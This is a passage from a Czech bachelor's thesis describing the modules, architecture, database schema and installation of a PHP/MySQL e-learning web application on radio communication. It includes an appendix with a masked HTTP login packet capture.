k němu přiřazených.




Jedná se o skrytý modul, který je uživateli přístupný pouze přes test. K přístupu
do administrace otázek je nutné předat modulu identifikátor testu, se kterým má
pracovat.
Modul aktivně pracuje s 2 tabulkami zároveň, protože mezi tabulkou s otázkami
a s odpověďmi je vazba 1:N. Z toho důvodu se vytváří 2 instance třídy CListener
(viz kapitola 3.3.3). První zabezpečuje práci s tabulkou otázek a druhá pracuje s ta-
bulkou s odpovědí. Obě instance jsou navíc provázány tak, aby chyba při zpracování
otázky zabránila zpracování odpovědím. Jinak by mohlo dojít k uložení odpovědí
na neexistující otázku.
Validace vstupních dat se neprovádí pouze v rámci třídy CListener — v mo-
dulu se kontroluje počet odpovědí. Ke každé otázce je nutné připojit minimálně 2
odpovědi a jedna odpověď musí mít příznak „pravdaÿ.
Počet odpovědí na otázku není omezen, ale výchozí hodnota je 3 odpovědi na
otázku (hodnotu lze měnit v administraci v modulu „Nastaveníÿ). Formulář pro
přidání odpovědi obsahuje také odkaz na rychlé přidání otázky. Po kliknutí a něj je
JavaScriptem vložena do formuláře další odpověď.
Modul může být nastaven tak, aby jedna otázka mohla mít pouze jednu prav-
divou odpověď (výchozí nastavení) i více pravdivých odpovědí. Nastavení je opět
přístupné v administraci v modulu „Nastaveníÿ. Pokud již byly vytvořeny otázky
s více pravdivými odpověďmi, je nutné otázky po změně nastavení na jednu pravdi-
vou upravit.
Do otázek a odpovědí lze také vkládat matematické výrazy. Při zpracování otázek
a odpovědí se podobně jako v modulu „Teorieÿ a „Simulaceÿ provádí nahrazení
matematických výrazů v textu za obrázky.
Modul „Správce souborůÿ (ModuleFilemanager)
Využívá aplikace AjaXplorer. Modul nezpracovává žádná data. V jeho šabloně je
pouze zobrazena aplikace AjaXplorer v IFRAME. Aplikaci lze také otevřít v novém
okně.
Aplikace AjaXplorer je podobně jako FCK editor ošetřena proti zneužití inclu-
dem souboru include/user.php a načítá také nastavení z hlavního konfiguračního
souboru. Adresář, s kterým je aplikace oprávněna pracovat je nastaven stejně jako
v případě FCK editoru.
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Modul „Uživateléÿ (ModuleUsers)
Slouží pro správu uživatelů. Při vytváření uživatele je nutno zadat jeho počáteční
heslo. Přístup k heslu existujícího uživatele není možný, vzhledem k tomu, že si
uživatel může změnit heslo sám, aniž by měl přístup do administrace (viz modul
CUser, kapitola 3.3.2).
Každému uživateli lze přiřadit jednu ze tří rolí (viz 3.4.3).
Modul „Záloha databázeÿ (ModuleDbBackup)
Slouží pro zálohování a obnovu zálohy databáze. Záloha a obnova tabulek v databázi
je zabezpečována databázovým objektem CDb (viz kapitola 3.3.1).
Každá záloha je identifikována časem jejího vytvoření, takže lze bez problémů
obnovit tabulky z požadované doby.
Modul „Nastaveníÿ (ModuleSettings)
Modul slouží pro správu nastavení uložených v databázi (viz třída Nastavení, kapi-
tola 3.3.6).
Modul umožňuje přidat libovolné množství nastavení. Každé nastavení má svůj
identifikátor, hodnotu, popis a zámek. Popis slouží pouze k přehledu administrá-
tora o funkci a použití nastavení. Každé nastavení lze zamknout. Při zamknutém
nastavení jej není možné smazat nebo změnit jeho identifikátor.
Modul „Profil uživateleÿ (ModuleProfile)
Modul slouží ke změně uživatelského profilu právě přihlášeného uživatele. V modulu
lze změnit přihlašovací jméno, jméno, e-mail a heslo.
Změna hesla je podmíněna zadáním starého hesla a 2x nového hesla. Tím je
předcházeno problémům při změně hesla cizí osobou, pokud by nějakým způsobem
získala přístup ke klientovi přihlášenému do aplikace.
Modul „Nástrojeÿ (ModuleTools)
Modul momentálně obsahuje pouze jeden nástroj — tidy. Jedná se o nástroj, který
vyčistí vložený HTML kód a vygeneruje validní výstup.
Nástroj je určen pro úpravu kódu vygenerovaného konvertorem z TEX do HTML
syntaxe a je nastaven na generování XHTML výstupu v češtině.
Tento nástroj vyžaduje nainstalované rozšíření PHP — Tidy — na serveru.
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3.4.7 Implementace FCK editoru
Veškeré soubory FCK editoru jsou umístěny v adresáři fckeditor. Konfigurační sou-
bor fckeditor/ fckconfig.js je přejmenován na fckeditor/ fckconfig.php, z důvodu po-
třeby nastavení adresy kořene webu — includován include/config.php a použita kon-
stanta PATH_FCK_BASE.
Connector FCK editoru neobsahuje funkce pro autorizaci uživatelů (viz kapitola
2.4.1), proto je v jeho konfiguračním souboru includován skript include/user.php,
který zajistí zobrazení přihlašovacího formuláře a ukončení provádění skriptu, pokud
není uživatel přihlášen.
Cesta k adresáři, se kterým může connector pracovat a jeho webová adresa vy-
užívají konstant definovaných v konfiguračním souboru include/config.php.
3.5 Uživatelská část
3.5.1 Uživatelské rozhraní
Název pod kterým aplikace vystupuje před uživateli je „Multimediální učebnice
radiové komunikaceÿ.
Rozložení informací v uživatelském prostředí je s voleno jako 2-sloupcové s hla-
vičkou a patičkou. Hlavička slouží k identifikaci rozhraní a obsahuje pouze logo.
Levý sloupec je určen pro hierarchické menu, pravý sloupec je určen pro prezentaci
obsahu dané stránky. Patička slouží k informacím o provozovateli aplikace a odkazu
pro přístup do administrace. Navržený drátový model je zobrazen na obrázku 3.3.
Uživatelské rozhraní je tvořeno soustavou stránek, po kterých se může uživatel
pohybovat. Mapa stránek uživatelské části aplikace je znázorněna obrázku 3.4.
HTML šablony
HTML šablony jsou realizovány tak, aby odpovídaly specifikaci XHTML 1.0 Transi-
tional s ohledem na přístupnost. Dílčí bloky jsou v HTML kódu sestaveny v pořadí:
1. Navigace pro nevidomé s odkazy:
(a) skok na obsah stránky,
(b) hlavní stránka webu,
(c) seznam témat.
2. Hlavička.
3. Hlavní obsah stránky.
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4. Menu s popisem pro nevidomé „Seznam tématÿ.
5. Patička.
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Obr. 3.4: Mapa webu: uživatelská část aplikace
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CSS stylopisy
Všechny stylopisy CSS jsou umístěny v adresáři css, přičemž HTML šablona načítá
pouze soubory main.css, print.css, style-ie.css. V main.css jsou umístěny příkazy pro
import dalších souborů. Tento způsob je výhodné použít pro zjednodušení případ-
ných změn ve stylopisech. Při případných úpravách je možné změnit pouze hlavní
stylopis a není třeba zasahovat do HTML šablony. Stylopis style-ie.css je s využitím
podmíněného komentáře načítán pouze v prohlížečích Internet Explorer.
Bloky určené nevidomým uživatelům jsou pomocí CSS definovány jako nevidi-
telné. Hlasové čtečky nevidomých uživatelů však tyto bloky zpracovávají. V HTML
kódu označeny třídou „forBlindÿ. CSS definice této třídy nemůže využívat vlast-
ností a jejich hodnot visibility:hidden nebo display:none. V takovém případě
by bloky byly ignorovaly i hlasové čtečky. Pro skrytí textu před normálními uživa-
teli, ale ne před hlasovými čtečkami se využívá pozicování bloku mimo viditelnou










Uživatelské rozhraní využívá pouze jednu JavaScript funkci pro zvýrazňování zvo-
lené možnosti v testu. Funkce je umístěna ve skriptu js/functions.js Pro realizaci je
použit framework jQuery.
Ke zvýraznění zvolené odpovědi je určen objekt checkBoxMarkup, jehož me-
toda init() způsobí inicializaci funkce zvýrazňování. Při inicializaci se na událost
onclick formulářového prvku testu naváže metoda markLine(), která provádí zvý-
raznění odstavce s formulářovým prvkem, a nepřímo i unmarkGroup(), která zajiš-
ťuje zrušení zvýraznění odstavců v celé skupině (odpovědi v rámci jedné otázky).
Inicializace zvýrazňování se provádí při události „DOMReadyÿ HTML stránky.
Událost je volána po sestavení DOM struktury stránky klientem, to znamená krátkou
chvíli po stáhnutí HTML dokumentu ze serveru. Využití události je podmíněno
využitím frameworku jQuery.
Funkce je koncipována jako unobtrusive (česky decentní), což znamená, že k je-
jímu běhu není třeba konat zásahy do HTML kódu. Výhodou unobtrusive funkcí
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(nebo celých aplikací) je také, že funkci je možné bez problému vypnout nebo úplně
odstranit a prohlížeč nebude hlásit žádné chyby.
3.5.2 Architektura MVC
Uživatelská část je vzhledem k jinému účelu realizováno pomocí na základě jiné
architektury než administrační rozhraní. Architektura se značně podobá architektuře
MVC, ale nejedná se o striktní architekturu MVC.
Architektura MVC (Model-View-Controller) je softwarová architektura, která
rozděluje aplikaci do základních 3 částí:
• Model - datový model
• View - uživatelské rozhraní
• Controller - řídící logika
Model
Model je v případě aplikace WAPTH vyřešen sadou modulů pro uživatelské rozhraní.
Moduly nemají narozdíl od aministračního rozhraní předepsaný formát a nenesou
s sebou šablonu. Obecně obsahují sadu metod pro práci s daným datovým mode-
lem a metody pro zpracování uživatelských vstupů. Všechny moduly jsou umístěny
v adresáři include/modules-pub.
View
View je řešen sadou šablon, které mají na starost prezentaci dat. Všechny šablony
jsou umístěné v adresáři templates. Každá šablona je seskládávána z dílčích šablon
— záhlaví ( header.tpl.php), vlastního těla šablony, menu ( menu.tpl.php) a patičky
( footer.tpl.php). Seskládávání má na starosti šablona sama. Musí být proto opatřena
příslušnými funkcemi include().
Controller
Controller, jádro uživatelské části, je řešen souborem index.php, který má na starosti
používání modulů, řízení modulů a zobrazování šablon. Výběr modulu se provádí
na základě GET parametru page.
Controller obstarává načtení základních parametrů všech témat a některých pa-
rametrů objektů, jim podřízených (klíče teorie, simulací a testů). Načítání těchto
hodnot probíhá nezávisle na zvolené stránce uživatelského rozhraní, protože jsou
tyto parametry vždy nutné k vybudování menu.
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3.5.3 Modul Témata
Modul témata slouží především pro sestavení menu rozhraní. Metoda get_topics()
se stará o načtení všech témat a položek jim podřízených. V MySQL dotazu musely
být vzhledem ke složitějším vazbám mezi tabulkami použity jak klauzule LEFT JOIN
pro spojení tabulek, tak i poddotazy.
Z výsledku dotazu je poté sestavováno pole, které je metodou vráceno šabloně.
Každé téma je načteno z databáze za podmínek:
1. Téma má nastaven parametr „publikovánoÿ.
2. K tématu je přiřazena stránka teorie s nastaveným parametrem „publikovánoÿ.
Při sestavování pole se dále provádí kontrola existence dalších podřízených zá-
znamů, mapování odkazů na ně a zvýraznění aktivního odkazu. Existence testu je
navíc podmíněna i nenulovým počtem otázek k němu přiřazených. To znamená, že
metoda get_topics() vrací pole s položkami, které mohou být zobrazeny a jejich
zobrazení má smysl.
3.5.4 Modul Teorie a Simulace
Při zobrazování teorie nebo simulace se provádějí kontrolní mechanismy, zda-li dané
téma a teorie nebo simulace existuje. Pokud neexistuje 4, odešle se klientovi hlavička
„404 Not Foundÿ. Pokud kontrola proběhne v pořádku, dojde k načtení a zobrazení
teorie nebo simulace.
V případě nenalezení požadované stránky je provedeno odeslání hlavičky „404
Not Foundÿ, která je důležitá nejen pro uživatele, ale především pro roboty in-
ternetových vyhledávačů, které požadovanou stránku nezaindexují. V případě, že
by hlavička nebyla odeslána, nemá robot možnost zjistit, že se nejedná o platnou
stránku.
3.5.5 Modul Testy
Opět se provádí kontrola platnosti testu podobně jako u témat. Pokud uživatel
doposud nespustil test z daného tématu, controller se postará o jeho vygenerování
a zobrazení testu. Po jeho odeslání k zobrazení výsledků.
Generování testu
Při generování nového testu je celý test uložen do relace a z té je teprve vygenerován
a zobrazen. Způsob ukládání do relace je volen z důvodu zachování daného testu
4Neexistencí je myšlen i případ, kdy není nastaven parametr „publikovatÿ.
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i při přechodu mezi stránkami. Pokud uživatel vygeneruje test a omylem přejde
na jinou stránku, má možnost se k testu vrátit a dokončit ho. V takovém případě
nezůstanou zachovány zvolené odpovědi, ale pouze původně vygenerovaná skladba
otázek a odpovědí. Po odchodu z nedokončeného testu a následném návratu je uži-
vatel upozorněn, že test nedokončil. V takovém případě může a pokračovat v testu
nebo zahájit nový.
Otázky i odpovědi jsou z databáze vybírány náhodně. V každém testu je tedy
jiné pořadí a skladba otázek a odpovědi na ně jsou vypisovány také v jiném pořadí.
Náhodný výběr otázek a odpovědí je vyřešen pomocí MySQL dotazu s řazením




WHERE at_question_parent = 1
ORDER BY RAND()
LIMIT 10
A podobně pro odpovědi ke každé otázce:
SELECT *
FROM at_answer
WHERE at_answer_parent = 1
ORDER BY RAND()
Při vytváření nového testu je vygenerován náhodný řetězec, který slouží pro
identifikaci vygenerovaného a odeslaného testu. Uživatel tak nemůže odeslat test,
který nebyl vygenerován. V takovém případě je zobrazeno varovné hlášení a test
není vyhodnocen.
Formulářové prvky, resp. jejich názvy testu jsou taktéž generovány jako unikátní
řetězce. V každém testu má tatáž odpověď jiný parametr NAME formulářového
prvku. Tento způsob generace slouží především pro předcházení problémům s cache
některých prohlížečů5 a zároveň aby nebylo možné zjistit identifikátor odpovědi v da-
tabázi.
Vyhodnocení testu
Po odeslání formuláře s testem se nejdříve provede kontrola shody identifikátoru ode-
slaného testu a regulérně vygenerovaného testu. Poté se přejde k samotné kontrole
odpovědí.
5odpovědi mohou zůstat zvolené i po přechodu mezi stránkami při špatné volbě názvů formu-
lářových prvků.
59




Stavu odpovězeno správně může nabýt pouze otázka, jejíž všechny odpovědi byly
označeny správně.
Z dílčích stavů je na závěr vypočítána sumarizace celého testu. Při zobrazení
výsledků testu je tedy uživatel obeznámen nejen s výsledky, ale i se správnými
odpověďmi na dané otázky. Po vyhodnocení testu je vygenerovaný test smazán ze
relace a není možné se k němu vrátit.
3.5.6 Hezké URL
V uživatelské části je použita technika hezkých URL. Sestavování adres je zabezpe-
čeno mapovací funkcí replace_link(), která na základě konstanty
SEO (include/config.php) definující, zda li má být zapnuto mapování, předaného klíče
tématu a předaného typu stránky vrací adresu požadované stránky.
Adresy jsou dle typu stránky konstruovány následujícím způsobem (první řádek















RewriteRule ˆ([ˆ/]+)/$ /index.php?page=theory&topic=$1 [L,QSA]
# test
RewriteCond %{REQUEST_URI} ([ˆ/]+)/test$





3.5.7 Chybová stránka 404
V případě, že dojde k pokusu o přístup k neexistujícímu tématu, jeho teorii, simulaci
nebo testu, je klientovi odeslána hlavička „404 Not Foundÿ. Běžně klient zobrazí
vlastní varování, že požadovaný dokument nebyl nalezen.
Rozhraní aplikace WAPTH je vybaveno vlastní chybovou stránkou 404, jejíž
vzhled je odvozen od vzhledu běžných stránek.
K tomuto účelu byl opět využit konfigurační soubor .htaccess, s direktivou pro
definici chybové stránky:
ErrorDocument 404 /index.php?page=error&errno=404
Díky tomu provede klient přesměrování při přijmutí hlavičky 404 na controller,
který zobrazí šablonu chybové stránky. Obdobně by se daly vytvořit vlastní chybové
stránky pro méně obvyklé chyby.
3.6 Testování řešení
Aplikace byla testována na 2 serverech v konfiguracích:
• Windows, Apache 2.2.9, PHP 4.4.9, MySQL 5.0.67
• Linux, Apache 2.2.11, PHP 5.2.9, MySQL 5.0.75
6Zalomení posledních 2 řádků je vloženo pouze pro účely prezentace.
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Správné zobrazení a funkčnost obou rozhraní byla ověřena v prohlížečích:
• Firefox 3
• Internet Explorer 6




Vytvořená aplikace se skládá z uživatelské části a administrační části. Obě části
využívají stejných komponent, ale jejich rozhraní jsou vzájemně nezávislá.
Uživatelské rozhraní je řešenou soustavou stránek, na kterých mohou studenti
získávat informace. Informace jsou členěny na témata (kapitoly) a v rámci každého
tématu je studentovi k dispozici teorie, simulace a možnost spuštění testu. Uživa-
telské rozhraní je koncipováno jednoduše, přehledně a hendikepovaným uživatelům
nejsou kladeny zbytečné překážky v jeho používání.
Administrační rozhraní je koncipováno tak, aby bylo modulární, přehledné a
nevyžadovalo od administrátora znalosti problematiky tvorby webových stránek.
Administrační rozhraní je obohaceno o praktické funkce jako automatická konverze
matematických výrazů na obrázky, možnost zálohování databáze, pro případ ztráty
hesla možnost vygenerování nového apod.
Aplikace je realizována tak, aby byla odolná vůči případným útokům na ni nebo
prostředky, které ke své činnosti využívá. Díky použití zabezpečeného spojení při
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SEZNAM SYMBOLŮ, VELIČIN A ZKRATEK
HTTP (Hypertext Transfer Protocol) protokol pro přenos dat na internetu
HTTPS (Hypertext Transfer Protocol over Secure Socket Layer) nadstavba
protokolu HTTP, která umožnuje šifrovaný přenos dat
AJAX (Asynchronous JavaScript and XML) asynchronní načítání XML dat
pomocí JavaScriptu
WYSIWIG (What You See Is What You Get) grafický editor zdrojových kódů
MD5 (Message-Digest Algorithm) jednosměrný hashovací algoritmus, který
vytváři 128 bitový otisk
ERD (Entity-Relationship Diagram) diagram, znázorňující vzájemný vztah entit
URL (Uniform Resource Locator) slouží ke specifikaci umístění informačního
zdroje na internetu
SSL (Secure Socket Layer) je metoda zabezpečení komunikace mezi serverem a
klientem
HMAC (Keyed-Hash Message Authentication Code) obousměrná šifrovací funkce,
šifrování se provádí na základě klíče
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A MYSQL PŘÍKAZY PRO VYTVOŘENÍ TA-
BULEK APLIKACE
DROP TABLE IF EXISTS at_answer;
CREATE TABLE ‘at_answer‘ (
‘at_answer_id‘ int(10) unsigned NOT NULL auto_increment,
‘at_answer_text‘ varchar(300) NOT NULL,
‘at_answer_true‘ tinyint(1) NOT NULL default ’0’,
‘at_answer_parent‘ int(10) unsigned NOT NULL,
PRIMARY KEY (‘at_answer_id‘)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=latin2;
DROP TABLE IF EXISTS at_question;
CREATE TABLE ‘at_question‘ (
‘at_question_id‘ int(10) unsigned NOT NULL auto_increment,
‘at_question_text‘ text NOT NULL,
‘at_question_parent‘ int(10) unsigned NOT NULL,
PRIMARY KEY (‘at_question_id‘)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=latin2;
DROP TABLE IF EXISTS at_resetpwd;
CREATE TABLE ‘at_resetpwd‘ (
‘at_resetpwd_id‘ int(10) unsigned NOT NULL auto_increment,
‘at_resetpwd_user‘ int(10) unsigned NOT NULL,
‘at_resetpwd_code‘ varchar(60) NOT NULL,
PRIMARY KEY (‘at_resetpwd_id‘)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=latin2;
DROP TABLE IF EXISTS at_setting;
CREATE TABLE ‘at_setting‘ (
‘at_setting_id‘ int(10) unsigned NOT NULL auto_increment,
‘at_setting_key‘ varchar(45) NOT NULL,
‘at_setting_value‘ varchar(100) default NULL,
‘at_setting_info‘ varchar(100) default NULL,
‘at_setting_lock‘ tinyint(3) unsigned default ’0’,
PRIMARY KEY (‘at_setting_id‘,‘at_setting_key‘)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=latin2;
DROP TABLE IF EXISTS at_simulation;
CREATE TABLE ‘at_simulation‘ (
‘at_simulation_id‘ int(10) unsigned NOT NULL auto_increment,
‘at_simulation_key‘ varchar(200) NOT NULL,
‘at_simulation_parent‘ int(10) unsigned default NULL,
‘at_simulation_title‘ varchar(200) NOT NULL,
‘at_simulation_info‘ text,
‘at_simulation_text‘ mediumtext,
‘at_simulation_published‘ tinyint(3) unsigned default ’1’,
PRIMARY KEY (‘at_simulation_id‘,‘at_simulation_key‘)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=latin2;
DROP TABLE IF EXISTS at_test;
CREATE TABLE ‘at_test‘ (
‘at_test_id‘ int(10) unsigned NOT NULL auto_increment,
‘at_test_key‘ varchar(200) character set latin2 collate latin2_czech_cs NOT NULL,
‘at_test_parent‘ int(10) unsigned default NULL,
‘at_test_title‘ varchar(200) character set latin2 collate latin2_czech_cs NOT NULL,
‘at_test_info‘ text character set latin2 collate latin2_czech_cs,
‘at_test_published‘ tinyint(3) unsigned NOT NULL default ’1’,
PRIMARY KEY (‘at_test_id‘,‘at_test_key‘)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=latin2;
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DROP TABLE IF EXISTS at_theory;
CREATE TABLE ‘at_theory‘ (
‘at_theory_id‘ int(10) unsigned NOT NULL auto_increment,
‘at_theory_key‘ varchar(200) NOT NULL,
‘at_theory_parent‘ int(10) unsigned default NULL,
‘at_theory_title‘ varchar(200) NOT NULL,
‘at_theory_info‘ text,
‘at_theory_text‘ mediumtext,
‘at_theory_published‘ tinyint(3) unsigned default ’1’,
PRIMARY KEY (‘at_theory_id‘,‘at_theory_key‘)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=latin2;
DROP TABLE IF EXISTS at_topics;
CREATE TABLE ‘at_topics‘ (
‘at_topics_id‘ int(10) unsigned NOT NULL auto_increment,
‘at_topics_key‘ varchar(200) NOT NULL,
‘at_topics_name‘ varchar(200) NOT NULL,
‘at_topics_position‘ int(10) unsigned NOT NULL default ’0’,
‘at_topics_published‘ tinyint(1) default ’1’,
PRIMARY KEY (‘at_topics_id‘,‘at_topics_key‘)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=latin2;
DROP TABLE IF EXISTS at_user;
CREATE TABLE ‘at_user‘ (
‘at_user_id‘ int(10) unsigned NOT NULL auto_increment,
‘at_user_name‘ varchar(30) NOT NULL,
‘at_user_password‘ varchar(100) NOT NULL,
‘at_user_full_name‘ varchar(45) default NULL,
‘at_user_last_time‘ datetime default NULL,
‘at_user_last_ip‘ varchar(100) default NULL,
‘at_user_email‘ varchar(60) NOT NULL,
‘at_user_role‘ varchar(45) default NULL,
PRIMARY KEY (‘at_user_id‘,‘at_user_name‘)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=latin2;




B.1 Kompletní HTTP požadavek
0000 00 11 6b 27 74 26 00 1b 38 3b 96 7f 08 00 45 00 ..k’t&..8;....E.
0010 02 ad e5 11 40 00 80 06 a3 b7 c0 a8 7b 95 42 93 ....@.......\{.B.
0020 f0 b0 0f 25 00 50 ef 2a ae 7a f0 a8 f3 e3 50 18 ...%.P.*.z....P.
0030 ff ff 1e 53 00 00 50 4f 53 54 20 2f 61 64 6d 69 ...S..POST /admi
0040 6e 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 n/ HTTP/1.1..Hos
0050 74 3a 20 6d 6d 75 2e 70 65 74 72 6a 61 6e 75 2e t: www.WWWWWWWW.
0060 6e 65 74 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a net..User-Agent:
0070 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 Mozilla/5.0 (Wi
0080 6e 64 6f 77 73 3b 20 55 3b 20 57 69 6e 64 6f 77 ndows; U; Window
0090 73 20 4e 54 20 35 2e 31 3b 20 63 73 3b 20 72 76 s NT 5.1; cs; rv
00a0 3a 31 2e 39 2e 30 2e 31 30 29 20 47 65 63 6b 6f :1.9.0.10) Gecko
00b0 2f 32 30 30 39 30 34 32 33 31 36 20 46 69 72 65 /2009042316 Fire
00c0 66 6f 78 2f 33 2e 30 2e 31 30 20 28 2e 4e 45 54 fox/3.0.10 (.NET
00d0 20 43 4c 52 20 33 2e 35 2e 33 30 37 32 39 29 0d CLR 3.5.30729).
00e0 0a 41 63 63 65 70 74 3a 20 74 65 78 74 2f 68 74 .Accept: text/ht
00f0 6d 6c 2c 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 ml,application/x
0100 68 74 6d 6c 2b 78 6d 6c 2c 61 70 70 6c 69 63 61 html+xml,applica
0110 74 69 6f 6e 2f 78 6d 6c 3b 71 3d 30 2e 39 2c 2a tion/xml;q=0.9,*
0120 2f 2a 3b 71 3d 30 2e 38 0d 0a 41 63 63 65 70 74 /*;q=0.8..Accept
0130 2d 4c 61 6e 67 75 61 67 65 3a 20 63 73 2c 65 6e -Language: cs,en
0140 2d 75 73 3b 71 3d 30 2e 37 2c 65 6e 3b 71 3d 30 -us;q=0.7,en;q=0
0150 2e 33 0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 .3..Accept-Encod
0160 69 6e 67 3a 20 67 7a 69 70 2c 64 65 66 6c 61 74 ing: gzip,deflat
0170 65 0d 0a 41 63 63 65 70 74 2d 43 68 61 72 73 65 e..Accept-Charse
0180 74 3a 20 77 69 6e 64 6f 77 73 2d 31 32 35 30 2c t: windows-1250,
0190 75 74 66 2d 38 3b 71 3d 30 2e 37 2c 2a 3b 71 3d utf-8;q=0.7,*;q=
01a0 30 2e 37 0d 0a 4b 65 65 70 2d 41 6c 69 76 65 3a 0.7..Keep-Alive:
01b0 20 33 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 300..Connection
01c0 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 52 65 : keep-alive..Re
01d0 66 65 72 65 72 3a 20 68 74 74 70 3a 2f 2f 6d 6d ferer: http://ww
01e0 75 2e 70 65 74 72 6a 61 6e 75 2e 6e 65 74 2f 61 w.WWWWWWWW.net/a
01f0 64 6d 69 6e 2f 0d 0a 43 6f 6f 6b 69 65 3a 20 50 dmin/..Cookie: P
0200 48 50 53 45 53 53 49 44 3d 36 34 34 32 66 66 33 HPSESSID=6442ff3
0210 64 64 31 66 61 31 31 65 39 64 61 33 39 61 36 35 dd1fa11e9da39a65
0220 36 30 38 66 34 37 36 30 37 0d 0a 43 6f 6e 74 65 608f47607..Conte
0230 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 nt-Type: applica
0240 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d tion/x-www-form-
0250 75 72 6c 65 6e 63 6f 64 65 64 0d 0a 43 6f 6e 74 urlencoded..Cont
0260 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 37 33 0d 0a ent-Length: 73..
0270 0d 0a 6c 6f 67 69 6e 25 35 42 61 74 5f 75 73 65 ..login%5Bat_use
0280 72 5f 6e 61 6d 65 25 35 44 3d 6a 61 6e 75 26 6c r_name%5D=LLLL&l
0290 6f 67 69 6e 25 35 42 61 74 5f 75 73 65 72 5f 70 ogin%5Bat_user_p
02a0 61 73 73 77 6f 72 64 25 35 44 3d 66 69 72 65 77 assword%5D=PPPPP
02b0 69 72 65 26 6c 6f 67 6d 65 3d 31 PPP&logme=1
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User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.10) Gecko/2009042316











Line-based text data: application/x-www-form-urlencoded
login%5Bat_user_name%5D=LLLL&login%5Bat_user_password%5D=PPPPPPPP&logme=1
Poznámka
Citlivá data byla v původním paketu nahrazena za hodnoty:
• http://www.WWWWWWWW.net adresa aplikace
• LLLL zadané přihlašovací jméno




1. Zkopírování souborů na server.
2. Vytvoření databáze a import sql zálohy ze souboru resources/backups/db-
backup-initial.sql.
3. Zkompilování aplikace mimeTeX nebo mathTeX a umístění CGI skriptu tak,
aby byl přístupný přes HTTP protokol.
4. Nastavení aplikace — soubor include/config.php, viz komentáře v souboru.
5. Nastavení práva pro zápis do složky resources vlastníkovi, popřípadě přidělit
vlastnicvtí adresáře (vlastníkem je myšlen uživatel pod kterým vystupuje v
systému interpret PHP). Úpravy je nutné aplikovat rekurzivně i pro podadre-
sáře a soubory v nich.
6. Přihlášení se do administrace použitím výchozího uživatelského jména admin
a hesla admin.
7. Změna e-mailu a hesla uživatele admin, popřípadě vytvoření dalších uživatel-
ských účtů.
8. Kontrola oprávnění interpretu PHP zapisovat do adresáře určeného pro uklá-
dání souborů (resources). (Zkusit vytvořit zálohu databáze, nahrát soubor
pomocí správce souborů nebo nahrát obrázek pomocí browseru FCK editoru.)
9. Provedení případných úprav nastavení aplikace v modulu „Nastaveníÿ.
C.2 Specifické problémy a nastavení
• Vypnutí funkcí vyžadující mod rewrite
Nastavit konstantu SEO na false v include/config.php (vypnutí mapování
odkazů) a přejmenovat soubor .htaccess.
• Zakázání přesměrování administrace na HTTPS
Zakomentovat direktivy pro přesměrování v souboru .htaccess, viz komentáře.
• Potlačení varování Internet Exploreru na stahování nezabezpeče-
ných položek v administraci
Zkontrolovat konstantu PATH_FCK_BASE, zda-li je sestavována
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z PATH_WEB_ROOT_HTTP nebo PATH_WEB_ROOT_HTTPS.
Správně by měla být sestavena z PATH_WEB_ROOT_HTTPS, ale pokud je
PATH_WEB_ROOT_HTTPS rozdílná od PATH_WEB_ROOT_HTTP (kromě protokolu),
je nutné ponechat PATH_WEB_ROOT_HTTP a ignorovat varování.
• Nezobrazování obrázků vložených do textu pomocí browseru FCK
editoru
Zkontrolovat cestu k danému obrázku v okně FCK editoru.
Cesta je webovým prohlížečem skládána z cesty uvedené v tagu <base>
(v HEAD sekci vnořeného rámce IFRAME) a z cesty k obrázku vloženém
v editoru (ten samý rámec IFRAME). Cesta udaná v <base> je převzata
z konstanty PATH_FCK_BASE (include/config.php). K cestě k obrázku je při-
dána hodnta z konstanty PATH_UPLOAD_DIR_REL (include/config.php).
V případě nefunkčnosti je nutný zásah do zmíněných konstant a v nejhorším
případě je možné v PATH_UPLOAD_DIR_REL použít absolutní adresu a
PATH_FCK_BASE ponechat prázdnou.
Pro kontrolu cest je vhodné použít funkci „Zkoumatÿ („Inspectÿ) rozšíření
Firebug pro Firefox.
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D OBSAH PŘILOŽENÉHO CD
Součástí bakalářské práce je i CD s následujícím obsahem.
/aplikace - Zdrojové soubory aplikace potřebné k instalaci na server.
/instalace.pdf - Návod k instalaci aplikace.
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